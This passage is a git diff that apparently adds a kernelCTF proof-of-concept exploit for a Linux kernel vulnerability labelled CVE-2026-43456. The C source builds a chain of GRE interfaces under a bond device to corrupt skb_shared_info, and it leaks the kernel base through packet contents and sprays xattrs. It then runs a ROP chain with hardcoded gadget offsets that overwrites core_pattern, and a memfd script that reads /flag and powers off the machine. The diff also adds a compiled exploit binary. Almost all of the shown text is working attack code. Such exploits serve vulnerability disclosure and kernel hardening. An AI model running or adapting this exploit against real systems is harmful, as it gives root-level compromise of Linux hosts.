const char *gre_name, const char *local_addr, + uint16_t encap_type) { + /* + * Create a GRE interface. It is linked into the chain later with + * setup_gre_link(). + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_UP, // IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in_addr local_ipv4; + if (inet_pton(AF_INET, local_addr, &local_ipv4) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv4, + sizeof(local_ipv4)); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_ENCAP_TYPE, &encap_type, + sizeof(encap_type)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, gre_name, + strlen(gre_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_link(int rtnetlink_fd, int gre_ifindex, int link_ifindex, + int should_down) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = should_down ? 0 : IFF_UP, + .i.ifi_change = IFI_CHANGE_ALL, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_slave(int rtnetlink_fd, int bond_ifindex, int gre_ifindex, + int link_ifindex) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static unsigned char packet_buf[PACKET_BUF_SIZE]; +static uint64_t kbase = 0; +static uint64_t xattr_spray_payload[XATTR_SPRAY_QWORDS]; +static unsigned long user_cs, user_ss, user_sp, user_rflags; + +static void set_cpu(int core_id) { + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + SYSCHK(sched_setaffinity(getpid(), sizeof(cpu_set_t), &cpuset)); +} + +static void save_state(void) { + asm("movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + : + : "memory"); +} + +#define CMD \ + "#!/bin/sh\nPID=`pidof " WIN_PROCESS_NAME "`\n" \ + "cat /flag>/proc/$PID/fd/" WIN_STDOUT_FD_STR "\n" \ + "echo o>/proc/sysrq-trigger" +static void post_exploit_trigger_core_pattern(void) { + if (!fork()) { + puts("[*] win!!"); + int memfd = memfd_create("", 0); + SYSCHK(write(memfd, CMD, sizeof(CMD))); + dup2(memfd, WIN_STDOUT_FD); + close(memfd); + *(size_t *)0 = 0; + } + // @sleep(kernel_func="", desc="keep the post-exploit process alive") + sleep(9999); +} + +static void unshare_setup(uid_t uid, gid_t gid) { + int map_fd; + char map_buf[USERNS_MAP_BUF_SIZE]; + SYSCHK(unshare(CLONE_NEWNET | CLONE_NEWUSER)); + map_fd = SYSCHK(open("/proc/self/setgroups", O_WRONLY)); + SYSCHK(write(map_fd, "deny", strlen("deny"))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/uid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)uid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/gid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)gid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + return; +} + +static uint64_t leak_proc_dir_entry_addr(uint64_t content, int if_index) { + uint64_t ret = 0; + static int gre_n = 1; + char gre_name[IFNAMSIZ], remote_addr[INET6_ADDRSTRLEN]; + char name[PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE] = {0}; + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + memcpy(name, &content, PROC_DIR_ENTRY_INLINE_NAME_SIZE); + if (!setup_bond_interface(rtnetlink_fd, if_index, name)) { + puts("Failed to create bond interface"); + return 1; + } + + gre_n++; + snprintf(gre_name, sizeof(gre_name), "leak%d", gre_n); + snprintf(remote_addr, sizeof(remote_addr), "2001:db8::%d", gre_n); + if (!setup_ip6gre_slave_interface(rtnetlink_fd, if_index, remote_addr, "::", gre_name)) { + puts("Failed to create ip6gre interface"); + return 1; + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), if_index); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + return 1; + } + for (int i = 0; i < U64_SIZE; i++) { + ret += ((uint64_t)packet_buf[PROC_DIR_ENTRY_LEAK_OFFS + i]) << (i * 8); + } + return ret; +} + +static void leak_kbase(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, "leak")) { + puts("Failed to create bond interface"); + exit(1); + } + if (!setup_ip6gre_slave_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, + "2001:db8::1", "::", "leak_ip6gre")) { + puts("Failed to create ip6gre interface"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), + BOND_IFINDEX_FOR_KASLR_LEAK); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + exit(1); + } + + uint64_t bond_rcv_validate_addr = 0; + for (int i = 0; i < U64_SIZE; i++) { + bond_rcv_validate_addr += + ((uint64_t)packet_buf[BOND_RCV_VALIDATE_LEAK_OFFS + i]) << (i * 8); + } + + kbase = bond_rcv_validate_addr - BOND_RCV_VALIDATE_OFFS; + close(packet_fd); + close(recv_fd); + close(rtnetlink_fd); + + printf("[*] kbase: 0x%lx\n", kbase); +} + +static void spray_xattr_order_2_pages(uint64_t *content) { + static int n = 0; + uint64_t *spray_data; + char path[XATTR_SPRAY_PATH_SIZE]; + snprintf(path, sizeof(path), "/tmp/xattr_spray_%d", n++); + int fd = SYSCHK(open(path, O_RDWR | O_CREAT, XATTR_SPRAY_FILE_MODE)); + spray_data = malloc(XATTR_SPRAY_SIZE); + if (!spray_data) { + perror("malloc"); + exit(1); + } + memcpy(spray_data, content, XATTR_SPRAY_SIZE); + fsetxattr(fd, "x", spray_data, XATTR_SPRAY_SIZE, 0); +}; + +static void rop_setup_core_pattern_overwrite(void) { + uint64_t first_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS; + uint64_t second_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS; + uint64_t pop_rdi_ret = kbase + GADGET_POP_RDI_RET_OFFS; + uint64_t pop_rcx_pop_rax_ret = kbase + GADGET_POP_RCX_POP_RAX_RET_OFFS; + uint64_t mov_ptr_rax_rcx_ret = kbase + GADGET_MOV_PTR_RAX_RCX_RET_OFFS; + uint64_t swapgs_iretq = kbase + GADGET_SWAPGS_IRETQ_OFFS; + uint64_t core_pattern_addr = kbase + CORE_PATTERN_OFFS; + + // If the name contains invalid char (see dev_valid_name), creation fails. + uint64_t addr1 = leak_proc_dir_entry_addr(first_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK1); + uint64_t addr2 = leak_proc_dir_entry_addr(second_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK2); + if (addr1 == 1 || addr2 == 1) { + puts("leak failed"); + exit(1); + } + printf("[*] proc entry1: 0x%lx\n", addr1); + printf("[*] proc entry2: 0x%lx\n", addr2); + addr1 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + addr2 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + + save_state(); + uint64_t *fake_skb_shinfo = &xattr_spray_payload[SKB_SHARED_INFO_IDX]; + fake_skb_shinfo[SKB_SHINFO_DESTRUCTOR_ARG_QWORD] = addr1; + fake_skb_shinfo[SKB_SHINFO_PIVOT_POP_RDI_QWORD] = pop_rdi_ret; + fake_skb_shinfo[SKB_SHINFO_PIVOT_PUSH_RDI_POP_RSP] = addr2 - U64_SIZE; + + // Overwrite /proc/sys/kernel/core_pattern with "|/proc/%P/fd/666". + uint64_t *rop_chain = &fake_skb_shinfo[SKB_SHINFO_ROP_CHAIN_QWORD]; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD0; + *rop_chain++ = core_pattern_addr; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD1; + *rop_chain++ = core_pattern_addr + U64_SIZE; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = swapgs_iretq; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = (uint64_t)&post_exploit_trigger_core_pattern; + *rop_chain++ = user_cs; + *rop_chain++ = user_rflags; + *rop_chain++ = user_sp + U64_SIZE; + *rop_chain++ = user_ss; + puts("[*] done rop_setup_core_pattern_overwrite"); +} + +static void vuln_trigger_skb_shared_info_overwrite(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // @step(name="Triggering the skb_shared_info overwrite") + // The GRE chain makes dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE, + // then the zero-length packet corrupts skb_shared_info in the order-2 skb. + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, "mybond")) { + puts("Failed to create bond interface"); + exit(1); + } + + for (int i = 0; i < NUM_GRE_IFS; i++) { + char laddr[INET_ADDRSTRLEN] = ""; + char ifname[IFNAMSIZ] = ""; + snprintf(laddr, sizeof(laddr), "21.0.%d.%d", i / IPV4_OCTET_RANGE, i % IPV4_OCTET_RANGE); + snprintf(ifname, sizeof(ifname), "if%d-%d", i, i); + + int current_gre_index = GRE_INDEX_BASE + i; + if (!setup_gre_interface(rtnetlink_fd, current_gre_index , ifname, laddr, + i < GRE_ENCAP_BOOTSTRAP_IFS ? TUNNEL_ENCAP_FOU : TUNNEL_ENCAP_NONE)) { + puts("Failed to create gre interface"); + exit(1); + } + + if (i > 0) { + int prev_gre_index = GRE_INDEX_BASE + i - 1; + if (!setup_gre_link(rtnetlink_fd, current_gre_index, prev_gre_index, 0)) { + puts("Failed to change gre interface"); + exit(1); + } + } + } + + if (!setup_gre_slave(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, + GRE_INDEX_BASE + NUM_GRE_IFS - 1, + GRE_INDEX_BASE + NUM_GRE_IFS - 2)) { + puts("Failed to make slave"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(PACKET_NO_PROTOCOL, BOND_IFINDEX_FOR_TRIGGER); + + for (;;) { + send(packet_fd, NULL, 0, 0); + spray_xattr_order_2_pages(xattr_spray_payload); + } +} + +void vuln_trigger_mode() { + set_cpu(0); + unshare_setup(getuid(), getgid()); + kbase = 0xdeadbeefcafe0000; + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); +} + +int main(int argc, char **argv) { + if (argc == 2 && !strcmp(argv[1], "--vuln-trigger")) { + vuln_trigger_mode(); + return 0; + } + + if (!fork()) { + set_cpu(1); + strcpy(argv[0], WIN_PROCESS_NAME); + // @sleep(kernel_func="", desc="keep argv[0] visible to pidof") + sleep(99999); + } + + set_cpu(0); + unshare_setup(getuid(), getgid()); + setup_interface_up(if_nametoindex("lo")); + leak_kbase(); + + if (kbase == 0 || (kbase & (PAGE_SIZE - 1)) != 0) { + puts("Failed to leak kbase"); + return 1; + } + + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exploit b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exploit new file mode 100755 index 000000000..825fdbe21 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile new file mode 100644 index 000000000..09ff56415 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/Makefile @@ -0,0 +1,2 @@ +exploit: exp.c + gcc exp.c -static -o exploit diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exp.c b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exp.c new file mode 100644 index 000000000..70ceb239a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/mitigation-v3b-6.1.55/exp.c @@ -0,0 +1,837 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef BOND_MODE_ACTIVEBACKUP +#define BOND_MODE_ACTIVEBACKUP 1 +#endif + +#ifndef NLMSG_TAIL +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) { \ + fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ + exit(1); \ + } \ + __res; \ + }) + +#define CORE_PATTERN_CMD_WORD0 UINT64_C(0x252f636f72702f7c) // "|/proc/%" +#define CORE_PATTERN_CMD_WORD1 UINT64_C(0x3636362f64662f50) // "P/fd/666" +#define IFI_CHANGE_ALL UINT32_MAX +#define WIN_PROCESS_NAME "win" +#define WIN_STDOUT_FD_STR "1" + +enum { + RTNETLINK_REQ_BUF_SIZE = 1024, + RTNETLINK_REPLY_BUF_SIZE = 4096, + SETLINK_REQ_ATTR_BUF_SIZE = 512, + PACKET_BUF_SIZE = 0x10000, + PAGE_SIZE = 0x1000, + USERNS_MAP_BUF_SIZE = 0x100, + XATTR_SPRAY_SIZE = 0x4000, + XATTR_SPRAY_QWORDS = XATTR_SPRAY_SIZE / sizeof(uint64_t), + XATTR_SPRAY_PATH_SIZE = 32, + XATTR_SPRAY_FILE_MODE = 0777, + PROC_DIR_ENTRY_INLINE_NAME_SIZE = 8, + PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE = PROC_DIR_ENTRY_INLINE_NAME_SIZE + 1, + U64_SIZE = sizeof(uint64_t), + LEAK_PACKET_MIN_SIZE = 0x28, + IPV4_OCTET_RANGE = 256, + GRE_ENCAP_BOOTSTRAP_IFS = 8, + WIN_STDOUT_FD = 666, +}; + +enum { + // Accepted by rtnetlink; the exact type is unused. + IFINFO_DUMMY_TYPE = 0xde, + // Chained GRE devices make dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE. + NUM_GRE_IFS = 329, + BOND_ARP_INTERVAL_MS = 1000, + + // Random fixed ifindexes + BOND_IFINDEX_FOR_KASLR_LEAK = 0xdead, + BOND_IFINDEX_FOR_PIVOT_LEAK1 = 0xbeef, + BOND_IFINDEX_FOR_PIVOT_LEAK2 = 0xcafe, + BOND_IFINDEX_FOR_TRIGGER = 0x40000, + GRE_INDEX_BASE = 0x41424344, + + PACKET_NO_PROTOCOL = 0, +}; + +enum { + BOND_RCV_VALIDATE_LEAK_OFFS = 0x08, + PROC_DIR_ENTRY_LEAK_OFFS = 0x20, + SKB_SHARED_INFO_IDX = 0x7d8, + SKB_SHINFO_DESTRUCTOR_ARG_QWORD = 0x5, + SKB_SHINFO_PIVOT_POP_RDI_QWORD = 0x7, + SKB_SHINFO_PIVOT_ARG_QWORD = 0x8, + SKB_SHINFO_STACK_PIVOT_QWORD = 0xa, + SKB_SHINFO_ROP_CHAIN_QWORD = 0xb, + PROC_DIR_ENTRY_OFFS_INLINE_NAME = 0xac, +}; + +enum { + BOND_RCV_VALIDATE_OFFS = 0xaecb30, + CORE_PATTERN_OFFS = 0x2bbace0, + + // mov rax, [r12+0x40]; lea rdi, [r12+0x38]; mov rax, [rax+8]; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS = 0x00856eb7, + // mov rbp, rdi; push rbx; mov rax, [rdi+0x18]; xor ebx, ebx; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS = 0x009b7243, + // mov rsp, rbp; pop rbp; pop r15; pop r13; pop r12; ret; + GADGET_STACK_PIVOT_OFFS = 0x0017fab8, + // pop rdi; ret; + GADGET_POP_RDI_RET_OFFS = 0x01600213, + // pop rcx; pop rax; ret; + GADGET_POP_RCX_POP_RAX_RET_OFFS = 0x0124fc8d, + // mov qword ptr [rax], rcx; ret; + GADGET_MOV_PTR_RAX_RCX_RET_OFFS = 0x00730c3b, + // swapgs; iretq; + GADGET_SWAPGS_IRETQ_OFFS = 0x1401146, + IRETQ_DUMMY_VALUE = 0xdead, +}; + +static const char *get_rtnetlink_operation(uint16_t type) { + switch (type) { + case RTM_NEWLINK: + return "create link"; + case RTM_DELLINK: + return "delete link"; + case RTM_GETLINK: + return "get link info"; + case RTM_NEWADDR: + return "add address"; + case RTM_DELADDR: + return "delete address"; + case RTM_GETADDR: + return "get address"; + case RTM_NEWROUTE: + return "add route"; + case RTM_DELROUTE: + return "delete route"; + case RTM_GETROUTE: + return "get route"; + default: + return "unknown operation"; + } +} + +static void explain_rtnetlink_error(struct nlmsghdr *req, int error) { + const char *operation = get_rtnetlink_operation(req->nlmsg_type); + + fprintf(stderr, "RTNetlink operation '%s' failed: ", operation); + + switch (-error) { + case EACCES: + fprintf(stderr, "Permission denied. This operation requires CAP_NET_ADMIN " + "capability.\n"); + break; + + case EADDRINUSE: + fprintf(stderr, "Address/resource already in use\n"); + break; + + case EADDRNOTAVAIL: + fprintf(stderr, "Address not available on this device\n"); + break; + + case ENODEV: + fprintf(stderr, "Network interface does not exist\n"); + break; + + case EINVAL: + fprintf(stderr, "Invalid parameter/configuration:\n"); + // Additional parsing of req->nlmsg_type specific structures + if (req->nlmsg_type == RTM_NEWADDR) { + fprintf(stderr, "- Check address family and prefix length\n"); + fprintf(stderr, "- Verify interface exists and is up\n"); + } else if (req->nlmsg_type == RTM_NEWROUTE) { + fprintf(stderr, "- Check route parameters (gateway, metrics)\n"); + fprintf(stderr, "- Verify routing table exists\n"); + } + break; + + case EMSGSIZE: + fprintf(stderr, "Message too large or incorrectly formatted\n"); + break; + + case ENOBUFS: + fprintf(stderr, "System resource shortage, try again later\n"); + break; + + case ESRCH: + fprintf(stderr, "Resource (route/rule/address) not found\n"); + break; + + case EEXIST: + fprintf(stderr, "Resource already exists\n"); + break; + + default: + fprintf(stderr, "%s\n", strerror(-error)); + } +} +static int send_and_recv_rtnetlink(int sock, struct nlmsghdr *nlh) { + static long nlmsg_seq_idx = 0; + + struct sockaddr_nl dest_addr = { + .nl_family = AF_NETLINK, .nl_pid = 0, .nl_groups = 0}; + + // Set sequence number + nlh->nlmsg_seq = ++nlmsg_seq_idx; + nlh->nlmsg_flags |= NLM_F_ACK; + + struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len}; + + struct msghdr msg = {.msg_name = &dest_addr, + .msg_namelen = sizeof(dest_addr), + .msg_iov = &iov, + .msg_iovlen = 1}; + + if (sendmsg(sock, &msg, 0) < 0) { + fprintf(stderr, "sendmsg: %s\n", strerror(errno)); + return 0; + } + + char reply_buf[RTNETLINK_REPLY_BUF_SIZE]; + struct nlmsghdr *nh; + + while (1) { + iov.iov_base = reply_buf; + iov.iov_len = sizeof(reply_buf); + + int len = recvmsg(sock, &msg, 0); + if (len < 0) { + fprintf(stderr, "recvmsg: %s\n", strerror(errno)); + return 0; + } + + for (nh = (struct nlmsghdr *)reply_buf; NLMSG_OK(nh, len); + nh = NLMSG_NEXT(nh, len)) { + if (nh->nlmsg_seq != nlmsg_seq_idx) + continue; // Not our message + + if (nh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *err = NLMSG_DATA(nh); + + if (err->error == 0) { // Success + return 1; + } + + explain_rtnetlink_error(nlh, err->error); + return 0; + } + + if (nh->nlmsg_type == NLMSG_DONE) + return 1; + } + } +} + +static void add_rtattr(struct nlmsghdr *n, size_t maxlen, int type, + const void *data, size_t alen) { + size_t len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + fprintf(stderr, "rtattr too long\n"); + return; + } + + rta = NLMSG_TAIL(n); + rta->rta_type = type; + rta->rta_len = len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); +} + +static int setup_ip6gre_slave_interface(int rtnetlink_fd, int bond_ifindex, + const char *local_addr, + const char *remote_addr, + const char *ip6gre_name) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = 0, + .i.ifi_flags = IFF_SLAVE, + }; + + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "ip6gre", + strlen("ip6gre") + 1); + + struct rtattr *ip6greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in6_addr local_ipv6; + if (inet_pton(AF_INET6, local_addr, &local_ipv6) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv6, + sizeof(local_ipv6)); + + struct in6_addr remote_ipv6; + if (inet_pton(AF_INET6, remote_addr, &remote_ipv6) < 1) { + puts("inet_pton for remote_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_REMOTE, &remote_ipv6, + sizeof(remote_ipv6)); + + // Update lengths + ip6greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)ip6greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, ip6gre_name, + strlen(ip6gre_name) + 1); + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} +static int setup_bond_interface(int rtnetlink_fd, int bond_ifindex, const char *bond_name) { + /* + * Create bond interface + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req1 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = IFINFO_DUMMY_TYPE, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = bond_ifindex, + .i.ifi_flags = IFF_UP, + }; + + // Create nested attributes for bond interface + struct rtattr *linkinfo1 = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_LINKINFO, NULL, 0); + + // Specify bond type + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_KIND, "bond", strlen("bond") + 1); + + // Add bond-specific options + struct rtattr *bondinfo = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_DATA, NULL, 0); + + // Active-backup mode is enough to route packets through the slave path. + char mode = BOND_MODE_ACTIVEBACKUP; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_MODE, &mode, sizeof(mode)); + + uint32_t arp_interval = BOND_ARP_INTERVAL_MS; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_ARP_INTERVAL, &arp_interval, + sizeof(arp_interval)); + + // Update lengths + bondinfo->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)bondinfo; + linkinfo1->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)linkinfo1; + + // Set interface name + add_rtattr(&req1.n, sizeof(req1), IFLA_IFNAME, bond_name, + strlen(bond_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req1.n); +} + +static int setup_bond_af_packet_sock(int proto_type, int ifindex_to_bind) { + int packet_fd = SYSCHK(socket(AF_PACKET, SOCK_DGRAM, proto_type)); + + struct sockaddr_ll saddr2 = {0}; + saddr2.sll_family = AF_PACKET; + saddr2.sll_protocol = proto_type; + saddr2.sll_ifindex = ifindex_to_bind; + SYSCHK(bind(packet_fd, (struct sockaddr *)&saddr2, sizeof(saddr2))); + + return packet_fd; +} + +static int setup_interface_up(int if_index) { + struct { + struct nlmsghdr nh; + struct ifinfomsg ifi; + char attrbuf[SETLINK_REQ_ATTR_BUF_SIZE]; + } req = {0}; + + // Create netlink socket + int sock = SYSCHK(socket(AF_NETLINK, SOCK_RAW, 